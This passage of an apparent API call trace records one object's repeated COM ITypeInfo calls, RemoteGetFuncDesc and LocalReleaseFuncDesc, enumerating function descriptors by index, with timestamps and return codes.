ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x7, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.876] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.876] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x8, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.876] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.876] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x9, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.876] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.876] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.876] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.876] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.876] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.876] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.876] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.876] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.876] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.876] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.876] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.876] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.876] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.876] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x10, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.876] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.876] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x11, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.876] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.876] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x12, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.876] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.876] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x13, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.876] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.876] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x14, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.876] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.876] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x15, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.877] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.877] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x16, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.877] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.877] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x17, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.877] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.877] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x18, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.877] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.877] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x19, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.877] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.877] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x1a, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.877] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.877] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x1b, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.877] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.877] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x1c, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.877] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.877] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x1d, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.877] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.877] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x1e, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.877] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.877] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x1f, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.877] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.877] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x20, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.877] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.877] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x21, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.877] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.877] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x22, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.877] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.877] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x23, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.877] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.877] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x24, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.877] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.877] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x25, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.877] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.877] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x26, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.877] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.877] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x27, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.877] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.877] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x28, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.877] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.877] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x29, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.877] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.877] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x2a, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.877] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.877] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x2b, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.877] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.877] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x2c, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.877] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.877] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x2d, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.877] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.877] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x2e, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.877] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.877] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x2f, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.877] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.877] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x30, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.877] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.878] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x31, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.878] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.878] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x32, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.878] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.878] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x33, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.878] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.878] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x34, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.878] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.878] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x35, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.878] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.878] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x36, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.878] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.878] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x37, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.878] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.878] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x38, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.878] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.878] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x39, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.878] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.878] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x3a, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.878] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.878] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x3b, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.878] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.878] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x3c, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.878] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.878] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x3d, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.878] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.878] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x3e, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.878] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.878] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x3f, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.878] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.878] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x40, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.878] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.878] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x41, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.878] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.878] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x42, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.878] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.878] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x43, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.878] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.878] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x44, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.878] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.878] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x45, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.878] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.878] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x46, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.878] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.878] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x47, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.878] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.878] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x48, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.878] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.878] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x49, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.878] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.878] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x4a, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.878] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.878] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x4b, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.878] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.878] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x4c, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.878] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.878] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x4d, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.879] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.879] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x4e, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.879] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.879] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x4f, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.879] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.879] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x50, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.879] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.879] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x51, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.879] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.879] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x52, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.879] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.879] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x53, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.879] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.879] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x54, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.879] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.879] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x55, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.879] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.879] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x56, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.879] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.879] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x57, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.879] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.879] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x58, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.879] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.879] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x59, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.879] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.879] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x5a, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.879] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.879] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x5b, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.879] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.879] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x5c, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.879] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.879] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x5d, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.879] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.879] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x5e, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.879] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.879] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x5f, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.879] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.879] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x60, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.879] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.879] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x61, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.879] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.879] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x62, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.879] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.879] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x63, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.879] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.879] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x64, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.879] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.879] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x65, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.879] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.879] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x66, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.879] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.879] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x67, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.879] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.879] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x68, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.880] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.880] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x69, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.880] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.880] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x6a, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.880] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.880] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x6b, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.880] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.880] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x6c, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.880] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.880] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x6d, ppFuncDesc=0x266b48, pDummy=0x80 | out: 